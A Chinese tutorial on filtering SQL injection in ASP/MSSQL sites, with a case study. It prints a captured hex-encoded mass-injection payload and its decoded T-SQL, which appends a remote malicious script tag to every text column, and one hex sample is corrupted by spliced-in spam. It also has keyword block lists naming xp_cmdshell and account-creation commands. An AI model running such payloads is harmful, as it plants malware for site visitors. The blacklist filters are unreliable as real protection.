sql注入过滤代码_sql数据库防范注入实例代码

发布时间:2020-07-01编辑:脚本学堂
有关sql注入过滤的一段代码,如何防范较高级别的sql注入,可以参考下本文的案例,实现常用sql注入代码的过滤,感兴趣的朋友参考下。

sql注入过滤代码_sql数据库防范注入

1、将以上过滤代码保存为nosql.asp,include到程序页面中。
 

复制代码 代码示例:

<%
'--------定义部份------------------
Dim XH_Post,XH_Get,XH_Cookie,XH_In,XH_Inf,XH_Xh,XH_Inf2,XH_In2
'自定义需要过滤的字串,用 "|" 分隔
XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
XH_In2 = "'|;|and|exec|insert|select|delete%20from|update|count|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
'----------------------------------
%>

<%
XH_Inf = split(XH_In,"|")
XH_Inf2 = split(XH_In2,"|")
'--------POST部份------------------
If Request.Form <>"" Then
For Each XH_Post In Request.Form

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh)) <>0 Then
Response.Write "非法操作!系统做了如下记录↓ <br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&" <br>"
Response.Write "操作时间:"&Now&" <br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&" <br>"
Response.Write "提交方式:POST <br>"
Response.Write "提交参数:"&XH_Post&" <br>"
Response.Write "提交数据:"&Request.Form(XH_Post)
Response.End
End If
Next
Next
End If
'----------------------------------

'--------GET部份-------------------
If Request.QueryString <>"" Then
For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh)) <>0 Then
Response.Write "非法操作!系统做了如下记录↓ <br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&" <br>"
Response.Write "操作时间:"&Now&" <br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&" <br>"
Response.Write "提交方式:GET <br>"
Response.Write "提交参数:"&XH_Get&" <br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Next
Next
End If
'----------------------------------

'--------COOKIE部份-------------------
If Request.Cookies <>"" Then
For Each XH_Cookie In Request.Cookies

For XH_Xh=0 To Ubound(XH_Inf2)
If Instr(LCase(Request.Cookies(XH_Cookie)),XH_Inf2(XH_Xh)) <>0 Then
Response.Write "非法操作!系统做了如下记录↓ <br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&" <br>"
Response.Write "操作时间:"&Now&" <br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&" <br>"
Response.Write "提交方式:Cookie <br>"
Response.Write "提交参数:"&XH_Cookie&" <br>"
Response.Write "提交数据:"&Request.Cookies(XH_Cookie)
Response.End
End If
Next
Next
End If
'----------------------------------
%>

案例分析:
数据库部份字段被加入 <script src=http://3b3.org/c.js></script>这段代码,sql注入过滤的换了N多个还没不行,一把JS去掉,没过多久又被加入进来

针对sql server 数据库,抓到的包:
 

DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072
002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F0072002
00046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006
F0062006A006500630074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E00490064003D00420
02E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E0064002000280042002E00580074007900700065003D00390039
0020004F007200200042002E00580074007900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E
00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F007200200046006500740063006800200
04E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C00400043002000
5700680069006C006500280040004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E002000450078006500630028002700
75007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720069006D00280043
006F006E007600650072007400280056006100720063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003
C0073006300720069007000740020007300720063003D0068007400740070003A002F002F003300620033002E006F00720067002F0063002E006A0073003E003C002F007300
630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F004300750
0720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F007300650020005400610062006C0065005F00430075007
20073006F00720020004400650061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);

解密后:
 

复制代码 代码示例:
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor
Fetch Next From 
Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://3b3.org/c.js></script>''')
Fetch Next From 
Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor

修复数据库
 

复制代码 代码示例:
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://3b3.org/c.js></script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;

sql数据库被挂马者插入JS木马的经历;mssql的每个varchar、text字段都被自动插入一段js代码,即使删除这段代码,如果没有从源头上解决,几分钟后,js代码就又会自动插入数据库。

这很有可能是程序自动执行的,黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql注入的漏洞或者上传漏洞,黑客就通过各种手段,上传自己的大马,如海阳木马;然后,黑客就把这个网站纳入他的肉鸡列表,随时在数据库里加入自己希望加的js代码,而这些代码往往是包含着众多的的病毒、木马,最终让访问受控网站的用户的电脑中毒。

虽然,可以通过sql查询分析器执行批量代换,暂时解决被插入的js代码问题,然而不从根本上解决整个网站存在的漏洞,包括程序上和服务器安全权限,那么黑客还是随时可以入侵你的网站数据库。

在sql查询分析器里可以执行以下的代码批量替换js代码:

update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') ”

flymorn仔细检查了网站,发现网站存在几个安全问题:

第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。

解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:
 

复制代码 代码示例:

''===============判断上传文件是否含非法字符串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件
sTextAll = lcase(MyText.ReadAll)

MyText.close
set MyFile = nothing

sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="

sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
  if instr(sTextAll,sNoString(i)) then
    set filedel = server.CreateObject("Scripting.FileSystemObject")
    filedel.deletefile Server.mappath(filePath)
    set filedel = nothing
    Response.Write("<script>alert('您上传的文件有问题,上传失败!');history.back();</script>")
    Response.End
  end if
next

''=================判断上传文件是否含非法字符串end===================
 

第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id") 这样的方式。

ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句
 

SQL="select * from 表名 where id="&request("id")

如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务器分配给它的。这个cookies可以被伪造成类似下面这样的一段代码:
 

复制代码 代码示例:

dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d

452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6

94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3

335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375

72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768

696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742

b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275

d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537

352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6

37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4

3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--

这是利用HEX的方式进行SQL注入,可以绕过一般的IDS验证,只要系统存在SQL注入,上面的代码将会被执行,通过游标遍历数据库中的所有表和列并在列中插入js代码。

解决办法:
1、严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;
2、重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。

可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击:
 

复制代码 代码示例:

<%
Response.Buffer = True  '缓存页面
'防范get注入
If Request.QueryString <> ""  Then StopInjection(Request.QueryString)

'防范post注入
If Request.Form <> ""  Then StopInjection(Request.Form)

'防范cookies注入
If Request.Cookies <> ""  Then StopInjection(Request.Cookies)

'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern = "'|;|#|([/s/b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[/s/b[/email]+]*)"

    Dim sItem, sValue
    For Each sItem In Values
        sValue = Values(sItem)
        If regEx.Test(sValue) Then
            Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"
            Response.End
        End If
    Next
    Set regEx = Nothing
End function
%>
 

把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 <!--#include file="antisql.asp"--> ,就可以实现全站的防范 sql 注入的攻击了。

第三,做好服务器权限的分配。对于数据库的权限,尽量分配最小的权限给用户使用,如果把sa或管理员的权限分下来,一旦被攻击沦陷,这将是一个毁灭性的打击。mssql 的1433端口,飘易建议不用的时候,最好关闭。

以上介绍了这么多,无非是让大家在写代码时,多注意程序的安全,在源头上做好输入参数的过滤,防止sql注入问题的发生,希望对大家有帮助。